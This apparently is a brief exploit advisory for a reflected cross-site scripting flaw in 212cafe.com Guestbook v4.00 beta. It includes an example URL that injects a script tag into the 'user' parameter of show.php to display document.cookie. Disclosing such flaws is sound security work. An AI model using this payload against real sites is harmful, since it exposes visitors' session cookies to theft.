Hello

Vulnerable : Guestbook  ( By 212cafe.com )
Version: v.4.00 beta
Web : http://www.212cafe.com

Exploit :
http://www.example.com/guestbookv4.0/show.php?user=[XSS]

Example :
http://www.example.com/guestbookv4.0/show.php?user='><script>alert(docum
ent.cookie);</script>

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Discoverey By Linux_Drox
www.LeZr.Com/vb

Best Regards ,,,,